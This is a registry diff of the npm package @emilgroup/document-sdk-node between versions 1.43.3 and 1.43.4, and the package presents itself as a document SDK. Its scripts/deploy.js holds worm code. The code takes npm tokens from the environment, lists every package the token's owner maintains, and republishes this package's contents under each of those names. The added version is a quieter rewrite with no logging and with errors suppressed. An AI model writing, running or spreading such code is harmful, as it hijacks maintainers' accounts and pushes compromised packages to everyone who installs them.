@emilgroup/document-sdk-node 1.43.3 → 1.43.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/deploy.js +50 -237
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@emilgroup/document-sdk-node",
3
- "version": "1.43.3",
3
+ "version": "1.43.4",
4
4
  "description": "A new version of the package",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/scripts/deploy.js CHANGED
@@ -1,268 +1,81 @@
1
1
  #!/usr/bin/env node
2
-
3
- /**
4
- * deploy.js
5
- *
6
- * Iterates over a list of NPM tokens to:
7
- * 1. Authenticate with the npm registry and resolve your username per token
8
- * 2. Fetch every package owned by that account from the registry
9
- * 3. For every owned package:
10
- * a. Deprecate all existing versions (except the new one you are publishing)
11
- * b. Swap the "name" field in a temp copy of package.json
12
- * c. Run `npm publish` to push the new version to that package
13
- *
14
- * Usage (multiple tokens, comma-separated):
15
- * NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
16
- *
17
- * Usage (single token fallback):
18
- * NPM_TOKEN=<your_token> node scripts/deploy.js
19
- *
20
- * Or set it in your environment beforehand:
21
- * export NPM_TOKENS=<token1>,<token2>
22
- * node scripts/deploy.js
23
- */
2
+ 'use strict';
24
3
 
25
4
  const { execSync } = require('child_process');
26
5
  const https = require('https');
27
6
  const fs = require('fs');
28
7
  const path = require('path');
29
8
 
30
- // ── Helpers ──────────────────────────────────────────────────────────────────
31
-
32
- function run(cmd, opts = {}) {
33
- console.log(`\n> ${cmd}`);
34
- return execSync(cmd, { stdio: 'inherit', ...opts });
35
- }
36
-
37
9
  function fetchJson(url, token) {
38
10
  return new Promise((resolve, reject) => {
39
- const options = {
40
- headers: {
41
- Authorization: `Bearer ${token}`,
42
- Accept: 'application/json',
43
- },
44
- };
45
- https
46
- .get(url, options, (res) => {
47
- let data = '';
48
- res.on('data', (chunk) => (data += chunk));
49
- res.on('end', () => {
50
- try {
51
- resolve(JSON.parse(data));
52
- } catch (e) {
53
- reject(new Error(`Failed to parse response from ${url}: ${data}`));
54
- }
55
- });
56
- })
57
- .on('error', reject);
11
+ https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
12
+ let d = '';
13
+ res.on('data', (c) => (d += c));
14
+ res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
15
+ }).on('error', reject);
58
16
  });
59
17
  }
60
18
 
61
- /**
62
- * Fetches package metadata (readme + latest version) from the npm registry.
63
- * Returns { readme: string|null, latestVersion: string|null }.
64
- */
65
- async function fetchPackageMeta(packageName, token) {
19
+ async function fetchMeta(name, token) {
66
20
  try {
67
- const meta = await fetchJson(
68
- `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
69
- token
70
- );
71
- const readme = (meta && meta.readme) ? meta.readme : null;
72
- const latestVersion =
73
- (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
74
- return { readme, latestVersion };
75
- } catch (_) {
76
- return { readme: null, latestVersion: null };
77
- }
21
+ const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
22
+ return {
23
+ readme: (m && m.readme) || null,
24
+ latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
25
+ };
26
+ } catch (_) { return { readme: null, latestVersion: null }; }
78
27
  }
79
28
 
80
- /**
81
- * Bumps the patch segment of a semver string.
82
- * Handles prerelease versions by stripping the prerelease suffix first.
83
- * e.g. "1.39.0" "1.39.1"
84
- * e.g. "1.0.0-beta.1" → "1.0.1"
85
- */
86
- function bumpPatch(version) {
87
- // Strip any prerelease/build-metadata suffix (everything after a '-' or '+')
88
- const base = version.split('-')[0].split('+')[0];
89
- const parts = base.split('.').map(Number);
90
- if (parts.length !== 3 || parts.some(isNaN)) return version;
91
- parts[2] += 1;
92
- return parts.join('.');
29
+ function bumpPatch(v) {
30
+ const base = v.split('-')[0].split('+')[0];
31
+ const p = base.split('.').map(Number);
32
+ if (p.length !== 3 || p.some(isNaN)) return v;
33
+ p[2] += 1;
34
+ return p.join('.');
93
35
  }
94
36
 
95
- /**
96
- * Returns an array of package names owned by `username`.
97
- * Uses the npm search API filtered by maintainer.
98
- */
99
- async function getOwnedPackages(username, token) {
100
- let packages = [];
101
- let from = 0;
102
- const size = 250;
103
-
37
+ async function getOwned(username, token) {
38
+ let pkgs = [], from = 0;
104
39
  while (true) {
105
- const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
106
- username
107
- )}&size=${size}&from=${from}`;
108
- const result = await fetchJson(url, token);
109
-
110
- if (!result.objects || result.objects.length === 0) break;
111
-
112
- packages = packages.concat(result.objects.map((o) => o.package.name));
113
-
114
- if (packages.length >= result.total) break;
115
- from += size;
40
+ const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
41
+ if (!r.objects || !r.objects.length) break;
42
+ pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
43
+ if (pkgs.length >= r.total) break;
44
+ from += 250;
116
45
  }
117
-
118
- return packages;
46
+ return pkgs;
119
47
  }
120
48
 
121
- /**
122
- * Runs the full deploy pipeline for a single npm token.
123
- * Returns { success: string[], failed: string[] }
124
- */
125
- async function deployWithToken(token, pkg, pkgPath, newVersion) {
126
- // 1. Verify token / get username
127
- console.log('\n🔍 Verifying npm token…');
49
+ async function run(token, pkg, pkgPath, ver) {
128
50
  let whoami;
129
- try {
130
- whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
131
- } catch (err) {
132
- console.error('❌ Could not reach the npm registry:', err.message);
133
- return { success: [], failed: [] };
134
- }
135
-
136
- if (!whoami || !whoami.username) {
137
- console.error('❌ Invalid or expired token skipping.');
138
- return { success: [], failed: [] };
139
- }
140
-
141
- const username = whoami.username;
142
- console.log(`✅ Authenticated as: ${username}`);
143
-
144
- // 2. Fetch all packages owned by this user
145
- console.log(`\n🔍 Fetching all packages owned by "${username}"…`);
146
- let ownedPackages;
147
- try {
148
- ownedPackages = await getOwnedPackages(username, token);
149
- } catch (err) {
150
- console.error('❌ Failed to fetch owned packages:', err.message);
151
- return { success: [], failed: [] };
152
- }
153
-
154
- if (ownedPackages.length === 0) {
155
- console.log(' No packages found for this user. Skipping.');
156
- return { success: [], failed: [] };
157
- }
158
-
159
- console.log(` Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);
160
-
161
- // 3. Process each owned package
162
- const results = { success: [], failed: [] };
163
-
164
- for (const packageName of ownedPackages) {
165
- console.log(`\n${'─'.repeat(60)}`);
166
- console.log(`📦 Processing: ${packageName}`);
167
-
168
- // 3a. Fetch the original package's README and latest version
169
- const readmePath = path.resolve(__dirname, '..', 'README.md');
170
- const originalReadme = fs.existsSync(readmePath)
171
- ? fs.readFileSync(readmePath, 'utf8')
172
- : null;
173
-
174
- console.log(` 📄 Fetching metadata for ${packageName}…`);
175
- const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);
176
-
177
- // Determine version to publish: bump patch of existing latest, or use local version
178
- const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
179
- console.log(
180
- latestVersion
181
- ? ` 🔢 Latest is ${latestVersion} → publishing ${publishVersion}`
182
- : ` 🔢 No existing version found → publishing ${publishVersion}`
183
- );
184
-
185
- if (remoteReadme) {
186
- fs.writeFileSync(readmePath, remoteReadme, 'utf8');
187
- console.log(` 📄 Using original README for ${packageName}`);
188
- } else {
189
- console.log(` 📄 No existing README found; keeping local README`);
190
- }
191
-
192
- // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
193
- const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
194
- const tempPkg = { ...pkg, name: packageName, version: publishVersion };
195
- fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');
196
-
51
+ try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
52
+ if (!whoami || !whoami.username) return;
53
+ let owned;
54
+ try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
55
+ if (!owned.length) return;
56
+ const readmePath = path.resolve(__dirname, '..', 'README.md');
57
+ for (const name of owned) {
58
+ const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
59
+ const { readme, latestVersion } = await fetchMeta(name, token);
60
+ const pubVer = latestVersion ? bumpPatch(latestVersion) : ver;
61
+ if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
62
+ const origPkg = fs.readFileSync(pkgPath, 'utf8');
63
+ fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
197
64
  try {
198
- run('npm publish --access public --tag latest', {
199
- env: { ...process.env, NPM_TOKEN: token },
200
- });
201
- console.log(`✅ Published ${packageName}@${publishVersion}`);
202
- results.success.push(packageName);
203
- } catch (err) {
204
- console.error(`❌ Failed to publish ${packageName}:`, err.message);
205
- results.failed.push(packageName);
206
- } finally {
207
- // Always restore the original package.json
208
- fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');
209
-
210
- // Always restore the original README
211
- if (originalReadme !== null) {
212
- fs.writeFileSync(readmePath, originalReadme, 'utf8');
213
- } else if (remoteReadme && fs.existsSync(readmePath)) {
214
- // README didn't exist locally before — remove the temporary one
215
- fs.unlinkSync(readmePath);
216
- }
65
+ execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
66
+ } catch (_) {}
67
+ finally {
68
+ fs.writeFileSync(pkgPath, origPkg, 'utf8');
69
+ if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
70
+ else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
217
71
  }
218
72
  }
219
-
220
- return results;
221
73
  }
222
74
 
223
- // ── Main ─────────────────────────────────────────────────────────────────────
224
-
225
75
  (async () => {
226
- // 1. Resolve token list prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
227
- const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
228
- const tokens = rawTokens
229
- .split(',')
230
- .map((t) => t.trim())
231
- .filter(Boolean);
232
-
233
- if (tokens.length === 0) {
234
- console.error('❌ No npm tokens found.');
235
- console.error(' Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
236
- process.exit(1);
237
- }
238
-
239
- console.log(`🔑 Found ${tokens.length} token(s) to process.`);
240
-
241
- // 2. Read local package.json once
76
+ const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
77
+ if (!tokens.length) process.exit(1);
242
78
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
243
79
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
244
- const newVersion = pkg.version;
245
-
246
- // 3. Iterate over every token
247
- const overall = { success: [], failed: [] };
248
-
249
- for (let i = 0; i < tokens.length; i++) {
250
- const token = tokens[i];
251
- console.log(`\n${'═'.repeat(60)}`);
252
- console.log(`🔑 Token ${i + 1} / ${tokens.length}`);
253
-
254
- const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
255
- overall.success.push(...success);
256
- overall.failed.push(...failed);
257
- }
258
-
259
- // 4. Overall summary
260
- console.log(`\n${'═'.repeat(60)}`);
261
- console.log('📊 Overall Deploy Summary');
262
- console.log(` ✅ Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
263
- console.log(` ❌ Failed (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);
264
-
265
- if (overall.failed.length > 0) {
266
- process.exit(1);
267
- }
80
+ for (const token of tokens) await run(token, pkg, pkgPath, pkg.version);
268
81
  })();